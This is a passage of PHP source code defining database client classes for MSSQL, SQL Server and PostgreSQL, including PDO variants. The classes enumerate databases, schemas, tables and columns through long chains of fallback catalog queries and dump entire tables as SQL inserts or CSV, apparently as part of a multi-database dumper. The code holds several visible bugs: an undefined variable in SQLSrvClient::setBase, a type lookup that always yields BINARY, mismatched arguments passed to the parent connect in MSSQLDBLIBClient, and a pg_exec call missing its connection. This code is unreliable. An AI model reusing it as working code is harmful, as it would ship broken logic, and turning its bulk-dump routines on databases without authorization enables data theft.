'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.all_objects',
'EXEC sp_schemata_rowset',
'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.objects',
'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.tables',
"SELECT NULL,name FROM sys.database_principals WHERE type='S'"
));
}
function getTables($b, $s) {
$s = mssqlEscData($s);
if ($this->query('SELECT SCHEMA_ID(' . $s . ')') && ($v = $this->fetchRow()) && $v[0]) {
$sr = 'schema_id=' . $v[0];
$ur = 'uid=' . $v[0];
} else {
$sr = 'SCHEMA_NAME(schema_id)=' . $s;
$ur = 'SCHEMA_NAME(uid)=' . $s;
}
return $this->tryQueries(array(
"SELECT name FROM sys.all_objects WHERE type IN('U','S','V') AND " . $sr,
'EXEC sp_tables @table_owner=' . $s,
"SELECT name FROM sys.objects WHERE type IN('U','S','V') AND " . $sr,
"SELECT name FROM sysobjects WHERE xtype IN('U','S','V') AND " . $ur,
'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s,
'SELECT name FROM sys.tables WHERE ' . $sr,
"EXEC sp_msforeachtable 'SELECT PARSENAME(''?'',1)', @whereand='AND " . str_replace("'", "''", $sr) . "'"
));
}
function getColumns($b, $s, $t) {
$a = array();
$sd = mssqlEscData($s);
$sn = mssqlEscName($s);
$td = mssqlEscData($t);
$tn = mssqlEscName($t);
$stdn = mssqlEscData($sn . '.' . $tn);
if ($this->query('EXEC sp_columns ' . $td . ',' . $sd) && $v = $this->fetchRow()) {
do {
$v[5] = strtoupper($v[5]);
if ($v[10] === 0)
$v[5] .= ' NOT NULL';
if ($v[12] !== NULL)
$v[5] .= ' DEFAULT' . $v[12];
$a[$v[3]] = $v[5];
} while ($v = $this->fetchRow());
return $a;
}
if ($this->query('EXEC sp_help ' . $stdn) && $this->nextResult() && ($v = $this->fetchRow())) {
do {
$v[1] = strtoupper($v[1]);
if ($v[6] === 'no')
$v[1] .= ' NOT NULL';
$a[$v[0]] = $v[1];
} while ($v = $this->fetchRow());
return $a;
}
if ($this->query('EXEC sp_mshelpcolumns ' . $stdn) && $v = $this->fetchRow()) {
do {
$v[6] = strtoupper($v[6]);
if ($v[9] === 0)
$v[6] .= ' NOT NULL';
if ($v[17] !== NULL)
$v[6] .= ' DEFAULT' . $v[17];
$a[$v[0]] = $v[6];
} while ($v = $this->fetchRow());
return $a;
}
if ($this->query('SELECT column_name,data_type,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . $td . ' AND table_schema=' . $sd) && $v = $this->fetchRow()) {
do {
$v[1] = strtoupper($v[1]);
if ($v[2] === 'NO')
$v[1] .= ' NOT NULL';
if ($v[3] !== NULL)
$v[1] .= ' DEFAULT' . $v[3];
$a[$v[0]] = $v[1];
} while ($v = $this->fetchRow());
return $a;
}
if ($this->query('EXEC sp_columns_managed @owner=' . $sd . ', @table=' . $td) && $v = $this->fetchRow()) {
do {
$v[7] = strtoupper($v[7]);
if ($v[6] === 'NO')
$v[7] .= ' NOT NULL';
if ($v[5] !== NULL)
$v[7] .= ' DEFAULT' . $v[5];
$a[$v[3]] = $v[7];
} while ($v = $this->fetchRow());
return $a;
}
if ($this->query('SELECT OBJECT_ID(' . $stdn . ')') && $v = $this->fetchRow()) {
$r = 'object_id=' . $v[0];
$i = 'id=' . $v[0];
} else {
$r = 'OBJECT_SCHEMA_NAME(object_id)=' . $sd . ' AND OBJECT_NAME(object_id)=' . $td;
$i = 'OBJECT_SCHEMA_NAME(id)=' . $sd . ' AND OBJECT_NAME(id)=' . $td;
}
if ($this->tryQueries(array(
'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.all_columns WHERE ' . $r,
'SELECT name,TYPE_NAME(xtype),isnullable FROM syscolumns WHERE ' . $i,
'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.columns WHERE ' . $r
))) {
while ($v = $this->fetchRow()) {
$v[1] = strtoupper($v[1]);
if ($v[2] === 0)
$v[1] .= ' NOT NULL';
$a[$v[0]] = $v[1];
}
return $a;
}
if ($this->query('EXEC sp_columns_rowset ' . $td . ',' . $sd) && $v = $this->fetchRow()) {
do {
$v[11] = 'BINARY';
if ($v[10] === 0)
$v[11] .= ' NOT NULL';
if ($v[8] !== NULL)
$v[11] .= ' DEFAULT' . $v[8];
$a[$v[3]] = $v[11];
} while ($v = $this->fetchRow());
return $a;
}
return FALSE;
}
}
class MSSQLClient extends MSSQLBase {
function connect($h, $u, $p, $b, $c) {
if (!($this->_cnct = mssql_connect($h, $u, $p)))
return FALSE;
return $this->setBase($b);
}
function getError() {
$v = mssql_get_last_message();
if ($this->_cnct)
mssql_close($this->_cnct);
return $v;
}
function tryQueries($a) {
foreach ($a as $v)
if ($this->_res = mssql_query($v, $this->_cnct))
return TRUE;
return FALSE;
}
function fetchBase() {
if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))))
return $v[0];
return FALSE;
}
function fetchSchema() {
return ($v = mssql_fetch_row($this->_res)) ? $v[1] : FALSE;
}
function fetchTable() {
if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))))
return count($v) === 1 ? $v[0] : $v[2];
return FALSE;
}
function getTableSize($b, $s, $t) {
return ($v = mssql_query('SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) ? mssql_result($v, 0, 0) : '"?"';
}
function setBase($v) {
if ($v !== $this->_base) {
$this->_base = NULL;
if (!mssql_select_db(mssqlEscName($v), $this->_cnct) && !mssql_query('USE ' . mssqlEscName($v), $this->_cnct))
return FALSE;
$this->_base = $v;
}
return TRUE;
}
function getColumns($b, $s, $t) {
if ($a = parent::getColumns($b, $s, $t))
return $a;
$a = array();
if ($q = mssql_query('SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) {
if ($v = mssql_fetch_field($q)) {
do {
$a[$v->name] = strtoupper($v->type);
} while ($v = mssql_fetch_field($q));
return $a;
}
if (is_string($v = mssql_field_name($q, 0))) {
$i = 0;
do {
$a[$v] = is_string($s = mssql_field_type($q, $i)) ? strtoupper($s) : '';
} while (is_string($v = mssql_field_name($q, ++$i)));
return $a;
}
if ($v = mssql_fetch_array($q, MSSQL_ASSOC)) {
foreach ($v as $k => $i)
$a[$k] = '';
return $a;
}
}
return FALSE;
}
function select($b, $s, $t, $c, $o, $l) {
$v = $l < 1000 ? 1000 : $l;
if (!($this->_res = mssql_query('SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, $v)))
return FALSE;
$k = floor($o / $v);
for ($i = 0; $i < $k; ++$i)
if (!mssql_fetch_batch($this->_res))
return FALSE;
$k = $o - ($k * $v);
if ($k > 0 && !mssql_data_seek($this->_res, $k))
return FALSE;
return TRUE;
}
function fetchAssoc() {
return mssql_fetch_array($this->_res, MSSQL_ASSOC);
}
function fetchRow() {
if (($v = mssql_fetch_row($this->_res)) || (mssql_fetch_batch($this->_res) && ($v = mssql_fetch_row($this->_res))))
return $v;
return FALSE;
}
function nextResult() {
return mssql_next_result($this->_res);
}
function query($v) {
return ($this->_res = mssql_query($v, $this->_cnct));
}
function dump($b, $s, $t, $c, $f) {
if (!$this->setBase($b))
return sprintf(E_CHNGDB, $b, $s, $t);
$i = '';
if ($f) {
if ($v = $this->getColumns($b, $s, $t))
sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
else
$i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
}
$c = sqlJoinColumns($c, 'mssqlEscName');
if (($q = mssql_query('SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, 1000)) && ($v = mssql_fetch_array($q, MSSQL_ASSOC))) {
if ($f)
sqlOutInsert(mssqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$d = FALSE;
do {
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'mssqlEscData');
else
csvOutValues($v);
} while ($v = mssql_fetch_row($q));
} while (mssql_fetch_batch($q));
if ($f)
echo ";\n";
mssql_free_result($q);
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
return $i;
}
function close() {
mssql_close($this->_cnct);
}
}
class SQLSrvClient extends MSSQLBase {
function connect($h, $u, $p, $b, $c) {
$this->_base = $b;
$a = array();
if ($u !== NULL)
$a['UID'] = $u;
if ($p !== NULL)
$a['PWD'] = $p;
if ($b !== NULL)
$a['Database'] = $b;
return ($this->_cnct = sqlsrv_connect($h, $a));
}
function getError() {
$v = sqlsrv_errors();
if ($this->_cnct)
sqlsrv_close($this->_cnct);
return $v ? $v[0]['message'] : '';
}
function tryQueries($a) {
foreach ($a as $v)
if ($this->_res = sqlsrv_query($this->_cnct, $v))
return TRUE;
return FALSE;
}
function fetchBase() {
return (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)))) ? $v[0] : FALSE;
}
function fetchSchema() {
return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[1] : FALSE;
}
function fetchTable() {
if (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC))))
return count($v) === 1 ? $v[0] : $v[2];
return FALSE;
}
function getTableSize($b, $s, $t) {
return (($v = sqlsrv_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($v, SQLSRV_FETCH_NUMERIC))) ? $v[0] : '"?"';
}
function getColumns($b, $s, $t) {
if ($a = parent::getColumns($b, $s, $t))
return $a;
$a = array();
if ($q = sqlsrv_query($this->_cnct, 'SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t))) {
if ($v = sqlsrv_field_metadata($q)) {
$y = array(
1 => 'CHAR',
2 => 'NUMERIC',
3 => 'DECIMAL',
4 => 'INT',
5 => 'SMALLINT',
6 => 'FLOAT',
7 => 'REAL',
12 => 'VARCHAR',
91 => 'DATE',
93 => 'DATETIME',
-1 => 'TEXT',
-2 => 'BINARY',
-3 => 'VARBINARY',
-4 => 'IMAGE',
-5 => 'BIGINT',
-6 => 'TINYINT',
-7 => 'BIT',
-8 => 'NCHAR',
-9 => 'NVARCHAR',
-10 => 'NTEXT',
-11 => 'UNIQUEIDENTIFIER',
-151 => 'UDT',
-152 => 'XML',
-154 => 'TIME',
-155 => 'DATETIMEOFFSET'
);
foreach ($v as $i) {
$i['Type'] = isset($y['Type']) ? $y['Type'] : 'BINARY';
if ($i['Nullable'] === SQLSRV_NULLABLE_NO)
$i['Type'] .= ' NOT NULL';
$a[$i['Name']] = $i['Type'];
}
return $a;
}
if ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC)) {
foreach ($v as $k => $i)
$a[$k] = '';
return $a;
}
}
return FALSE;
}
function select($b, $s, $t, $c, $o, $l) {
return (($this->_res = sqlsrv_query($this->_cnct, 'SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), array(), array(
'Scrollable' => SQLSRV_CURSOR_DYNAMIC
))) && sqlsrv_fetch($this->_res, SQLSRV_SCROLL_ABSOLUTE, $o));
}
function fetchAssoc() {
return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_ASSOC);
}
function fetchRow() {
return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC);
}
function nextResult() {
return sqlsrv_next_result($this->_res);
}
function query($v) {
return ($this->_res = sqlsrv_query($this->_cnct, $v));
}
function setBase($v) {
if ($v !== $this->_base) {
$this->_base = NULL;
if (!sqlsrv_query($this->_cnct, 'USE ' . mssqlEscName($b)))
return FALSE;
$this->_base = $v;
}
return TRUE;
}
function dump($b, $s, $t, $c, $f) {
if (!$this->setBase($b))
return sprintf(E_CHNGDB, $b, $s, $t);
$i = '';
if ($f) {
if ($v = $this->getColumns($b, $s, $t))
sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
else
$i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
}
$c = sqlJoinColumns($c, 'mssqlEscName');
if (($q = sqlsrv_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC))) {
if ($f)
sqlOutInsert(mssqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'mssqlEscData');
else
csvOutValues($v);
} while ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_NUMERIC));
if ($f)
echo ";\n";
sqlsrv_free_stmt($q);
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
return $i;
}
function close() {
sqlsrv_close($this->_cnct);
}
}
function pgsqlEscData($v) {
return "'" . str_replace(array(
'\\',
"'"
), array(
'\\\\',
"''"
), $v) . "'";
}
function pgsqlEscName() {
$a = func_get_args();
foreach ($a as $k => $v)
$a[$k] = '"' . str_replace('"', '""', $v) . '"';
return implode('.', $a);
}
class PGSQLBase extends SQLBase {
var $haveSchemas = TRUE, $canPaginate = FALSE, $_params = '', $_base = NULL, $_clcs = NULL;
function fillParams($h, $u, $p) {
$v = array();
if ($h !== NULL) {
if ($i = strrpos($h, ':')) {
$v[] = 'host=' . $this->escParam(substr($h, 0, $i));
$v[] = 'port=' . substr($h, $i + 1);
} else
$v[] = 'host=' . $this->escParam($h);
}
if ($u !== NULL)
$v[] = 'user=' . $this->escParam($u);
if ($p !== NULL)
$v[] = 'password=' . $this->escParam($p);
$this->_params = implode(' ', $v);
}
function charset($k) {
$v = array(
'UTF8',
'UTF8',
'WIN1250',
'WIN1251',
'WIN1252',
'WIN1254',
'WIN1256',
'WIN1257',
'LATIN1',
'LATIN2',
'ISO_8859_7',
'ISO_8859_8',
'LATIN5',
'LATIN7',
'BIG5',
'GBK',
'SJIS',
'EUC_KR',
'EUC_JP',
'WIN866',
'KOI8R',
'KOI8U'
);
return isset($v[$k]) ? $v[$k] : 'utf8';
}
function escParam($v) {
return "'" . addcslashes($v, "'\\") . "'";
}
function getBases() {
return $this->tryQueries(array(
'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate',
'SELECT datname FROM pg_catalog.pg_stat_database',
'SELECT datname FROM pg_catalog.pg_stat_database_conflicts',
'SELECT current_database()'
));
}
function getSchemas($b) {
if (!$this->setBase($b))
return FALSE;
return $this->tryQueries(array(
'SELECT schema_name FROM information_schema.schemata',
'SELECT nspname FROM pg_catalog.pg_namespace',
'SELECT DISTINCT table_schema FROM information_schema.tables',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_tables',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_all_tables',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_all_tables',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_sys_tables',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_sys_tables',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_sys_tables',
'SELECT DISTINCT table_schema FROM information_schema.columns',
'SELECT DISTINCT schemaname FROM pg_catalog.pg_stats'
));
}
function getTables($b, $s) {
if (!$this->setBase($b))
return FALSE;
$s = pgsqlEscData($s);
return $this->tryQueries(array(
'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s,
'SELECT relname FROM pg_catalog.pg_stat_all_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_statio_all_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_stat_xact_all_tables WHERE schemaname=' . $s,
'SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_stat_sys_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_stat_user_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_statio_sys_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_statio_user_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_stat_xact_sys_tables WHERE schemaname=' . $s,
'SELECT relname FROM pg_catalog.pg_stat_xact_user_tables WHERE schemaname=' . $s
));
}
function getColumns($b, $s, $t) {
$a = array();
if ($this->tryQueries(array(
'SELECT column_name,udt_name,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . pgsqlEscData($t) . ' AND table_schema=' . pgsqlEscData($s),
'SELECT a.attname, FORMAT_TYPE(a.atttypid,a.atttypmod), a.attnotnull, d.adsrc FROM pg_attribute a LEFT JOIN pg_attrdef d ON d.adrelid=a.attrelid AND d.adnum=a.attnum WHERE attrelid = ' . pgsqlEscData(pgsqlEscName($s, $t)) . '::regclass AND attnum>0 AND NOT attisdropped'
))) {
while ($v = $this->fetchRow()) {
$v[1] = strtoupper($v[1]);
if ($v[2][0] === 'N' || $v[2][0] === 'f')
$v[1] .= ' NOT NULL';
if ($v[3] !== NULL)
$v[1] .= ' DEFAULT ' . pgsqlEscData($v[3]);
$a[$v[0]] = $v[1];
}
return $a;
}
return FALSE;
}
function select($b, $s, $t, $c, $o, $l) {
return $this->query('SELECT ' . sqlJoinColumns($c, 'pgsqlEscName') . ' FROM ' . pgsqlEscName($s, $t) . ' LIMIT ' . $l);
}
}
class PGSQLClient extends PGSQLBase {
function connect($h, $u, $p, $b, $c) {
$this->_base = $b;
$this->_clcs = $c;
$this->fillParams($h, $u, $p);
$v = $this->_params;
if ($b !== NULL)
$v .= ' dbname=' . $this->escParam($b);
$this->_cnct = pg_connect($v);
if (!$this->_cnct && $b === NULL)
$this->_cnct = pg_connect($this->_params . ' dbname=template1');
if (!$this->_cnct)
return FALSE;
pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($c) . "'");
return TRUE;
}
function getError() {
if ($this->_cnct) {
$v = (PHP_VERSION >= '4.2') ? pg_last_error($this->_cnct) : pg_errormessage($this->_cnct);
pg_close($this->_cnct);
return $v;
}
return '';
}
function tryQueries($a) {
foreach ($a as $v)
if ($this->_res = pg_exec($this->_cnct, $v))
return TRUE;
return FALSE;
}
function fetchBase() {
return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function setBase($v) {
if ($v !== $this->_base) {
$this->_base = NULL;
pg_close($this->_cnct);
if (!($this->_cnct = pg_connect($this->_params . ' dbname=' . $this->escParam($v))))
return FALSE;
$this->_base = $v;
pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'");
}
return TRUE;
}
function fetchSchema() {
return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function fetchTable() {
return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
}
function getTableSize($b, $s, $t) {
if (($v = pg_exec($this->_cnct, 'SELECT COUNT(*) FROM ' . pgsqlEscName($s, $t)))) {
$v = pg_fetch_row($v);
return $v[0];
}
return '"?"';
}
function getColumns($b, $s, $t) {
$a = parent::getColumns($b, $s, $t);
if ($a)
return $a;
$a = array();
if (PHP_VERSION >= '4.3' && ($v = pg_meta_data($this->_cnct, $s . '.' . $t))) {
foreach ($v as $k => $i) {
$a[$k] = strtoupper($i['type']);
if ($i['not null'])
$a[$k] .= ' NOT NULL';
}
return $a;
}
if (PHP_VERSION >= '4.2' && ($q = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 0'))) {
$i = 0;
while (($v = pg_field_name($q, $i)) !== FALSE)
$a[$k] = pg_field_type($q, $i++);
return $a;
}
if (($v = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 1')) && ($v = pg_fetch_array($this->_res, NULL, PGSQL_ASSOC))) {
foreach ($v as $k)
$a[$k] = '';
return $a;
}
return FALSE;
}
function query($v) {
return ($this->_res = pg_exec($this->_cnct, $v));
}
function fetchAssoc() {
return pg_fetch_array($this->_res, NULL, PGSQL_ASSOC);
}
function fetchRow() {
return pg_fetch_row($this->_res);
}
function dump($b, $s, $t, $c, $f) {
if (!$this->setBase($b))
return sprintf(E_CHNGDB, $b, $s, $t);
$i = '';
if ($f) {
if ($v = $this->getColumns($b, $s, $t))
sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName');
else
$i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
}
$c = sqlJoinColumns($c, 'pgsqlEscName');
if (pg_exec($this->_cnct, 'BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) {
if (($v = pg_exec($this->_cnct, 'FETCH NEXT FROM c')) && ($v = pg_fetch_array($v, NULL, PGSQL_ASSOC))) {
if ($f)
sqlOutInsert(pgsqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$c = $this->_cnct;
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'pgsqlEscData');
else
csvOutValues($v);
} while (($v = pg_exec($c, 'FETCH NEXT FROM c')) && ($v = pg_fetch_row($v)));
if ($f)
echo ";\n";
}
pg_exec('CLOSE c; ROLLBACK');
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $t);
return $i;
}
function close() {
pg_close($this->_cnct);
}
}
if (PHP_VERSION >= '5'):
class MySQLPDOClient extends MySQLBase {
function connect($h, $u, $p, $b, $c) {
$a = array();
if ($h !== NULL && ($v = strrpos($h, ':'))) {
$t = (int) substr($h, $v + 1);
$h = substr($h, 0, $v);
} else
$t = NULL;
if ($h !== NULL)
$a[] = 'host=' . $h;
if ($t !== NULL)
$a[] = 'port=' . $t;
if ($b !== NULL)
$a[] = 'dbname=' . $b;
try {
$v = new PDO('mysql:' . implode(';', $a), $u, $p);
}
catch (Exception $e) {
$this->connError($e->getMessage(), $h, $u, $p, $b);
}
$v->query('SET NAMES ' . $this->charset($c));
$this->_cnct = $v;
return TRUE;
}
function getTableSize($b, $t) {
return $this->sqlTableSize(mysqlEscName($b, $t));
}
function getColumns($b, $t) {
if ($a = parent::getColumns($b, $t))
return $a;
return $this->getColumnsNames(mysqlEscName($b, $t));
}
/*FIX*/
function fetchRow() {
$r = $this->_res->fetch(PDO::FETCH_NUM);
if(defined('MPDFIX') && is_int(MPDFIX)) $this->_res->closeCursor();
return $r;
}
function dump($b, $t, $c, $f) {
define('MPDFIX', 1);
if ($f)
$i = $this->outCreateTable($b, $t);
$c = sqlJoinColumns($c, 'mysqlEscName');
$this->_cnct->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, FALSE);
if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) {
if ($f)
sqlOutInsert(mysqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'mysqlEscData');
else
csvOutValues($v);
} while ($v = $q->fetch(PDO::FETCH_NUM));
if ($f)
echo ";\n";
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $t . ' '. print_r($this->_cnct->errorInfo(), true));
return $i;
}
}
class MSSQLPDOClient extends MSSQLBase {
var $canPaginate = FALSE;
function connect($d, $u, $p, $b, $c) {
try {
$v = new PDO($d, $u, $p);
}
catch (Exception $e) {
$this->connError($e->getMessage(), $d, $u, $p, $b);
}
$this->_cnct = $v;
$this->_base = $b;
return TRUE;
}
function getTableSize($b, $s, $t) {
return $this->sqlTableSize(mssqlEscName($b, $s, $t));
}
function setBase($v) {
if ($v !== $this->_base) {
$this->_base = NULL;
if (!$this->_cnct->query('USE ' . mssqlEscName($v)))
return FALSE;
$this->_base = $v;
}
return TRUE;
}
function getColumns($b, $s, $t) {
if ($a = parent::getColumns($b, $s, $t))
return $a;
return $this->getColumnsNames(mssqlEscName($b, $s, $t));
}
function select($b, $s, $t, $c, $o, $l) {
return $this->query('SELECT TOP ' . $l . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($s, $t));
}
function dump($b, $s, $t, $c, $f) {
if (!$this->setBase($b))
return sprintf(E_CHNGDB, $b, $s, $t);
$i = '';
if ($f) {
if ($v = $this->getColumns($b, $s, $t))
sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
else
$i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
}
$c = sqlJoinColumns($c, 'mssqlEscName');
if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mssqlEscName($s, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) {
if ($f)
sqlOutInsert(mssqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'mssqlEscData');
else
csvOutValues($v);
} while ($v = $q->fetch(PDO::FETCH_NUM));
if ($f)
echo ";\n";
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
return $i;
}
function fetchBase() {
if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))))
return $v[0];
return FALSE;
}
function fetchSchema() {
return $this->_res->fetchColumn(1);
}
function fetchTable() {
if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM))))
return count($v) === 1 ? $v[0] : $v[2];
return FALSE;
}
function nextResult() {
return $this->_res->nextRowset();
}
}
class MSSQLDBLIBClient extends MSSQLPDOClient {
function connect($h, $u, $p, $b, $c) {
$a = array();
if ($h !== NULL)
$a[] = 'host=' . $h;
if ($b !== NULL)
$a[] = 'dbname=' . $b;
return parent::connect('mssql:' . implode(';', $a), $h, $u, $p, $b, $c);
}
}
class MSSQLODBCClient extends MSSQLPDOClient {
function connect($h, $u, $p, $b, $c) {
$a = array();
if ($h !== NULL)
$a[] = 'Server=' . $h;
if ($b !== NULL)
$a[] = 'Database=' . $b;
return parent::connect('odbc:' . implode(';', $a), $h, $u, $p, $b, $c);
}
}
class SQLSrvPDOClient extends MSSQLPDOClient {
function connect($h, $u, $p, $b, $c) {
$a = array();
if ($h !== NULL)
$a[] = 'Server=' . $h;
if ($b !== NULL)
$a[] = 'Database=' . $b;
return parent::connect('sqlsrv:' . implode(';', $a), $u, $p, $b, $c);
}
}
class PGSQLPDOClient extends PGSQLBase {
function connect($h, $u, $p, $b, $c) {
$this->_base = $b;
$this->_clcs = $c;
$this->fillParams($h, $u, $p);
$this->_params = 'pgsql:' . $this->_params;
$v = $this->_params;
if ($b !== NULL)
$v .= ' dbname=' . $this->escParam($b);
try {
$v = new PDO($v);
}
catch (Exception $e) {
$this->connError($e->getMessage(), $h, $u, $p, $b);
}
$v->query("SET CLIENT_ENCODING TO '" . $this->charset($c) . "'");
$this->_cnct = $v;
return TRUE;
}
function setBase($v) {
if ($v !== $this->_base) {
$this->_res = NULL;
$this->_cnct = NULL;
$this->_base = NULL;
try {
$v = new PDO($this->_params . ' base=' . $this->escParam($v));
}
catch (Exception $e) {
return FALSE;
}
$this->_base = $v;
$v->query("SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'");
$this->_cnct = $v;
}
return TRUE;
}
function getTableSize($b, $s, $t) {
return $this->sqlTableSize(pgsqlEscName($s, $t));
}
function getColumns($b, $s, $t) {
if ($a = parent::getColumns($b, $s, $t))
return $a;
return $this->getColumnsNames(pgsqlEscName($s, $t));
}
function dump($b, $s, $t, $c, $f) {
if (!$this->setBase($b))
return sprintf(E_CHNGDB, $b, $s, $t);
$i = '';
if ($f) {
if ($v = $this->getColumns($b, $s, $t))
sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName');
else
$i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
}
$c = sqlJoinColumns($c, 'pgsqlEscName');
if ($this->_cnct->query('BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) {
if (($v = $this->_cnct->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) {
if ($f)
sqlOutInsert(pgsqlEscName($t), $c);
else
echo implode(';', array_keys($v)), "\n";
$c = $this->_cnct;
$d = FALSE;
do {
if ($d)
echo $d;
else
$d = $f ? ',' : "\n";
if ($f)
sqlOutValues($v, 'pgsqlEscData');
else
csvOutValues($v);
} while (($v = $c->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_NUM)));
if ($f)
echo ";\n";
}
$this->_cnct->query('CLOSE c; ROLLBACK');
} else
$i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
return $i;
}
function fetchSchema() {
return $this->_res->fetchColumn(0);
}
}
endif;
function outData(&$S) {
echo ',"f":[';
if ($v = $S->fetchAssoc()) {
$b = FALSE;
foreach ($v as $k => $i) {
if ($b)
echo ',';
else
$b = TRUE;
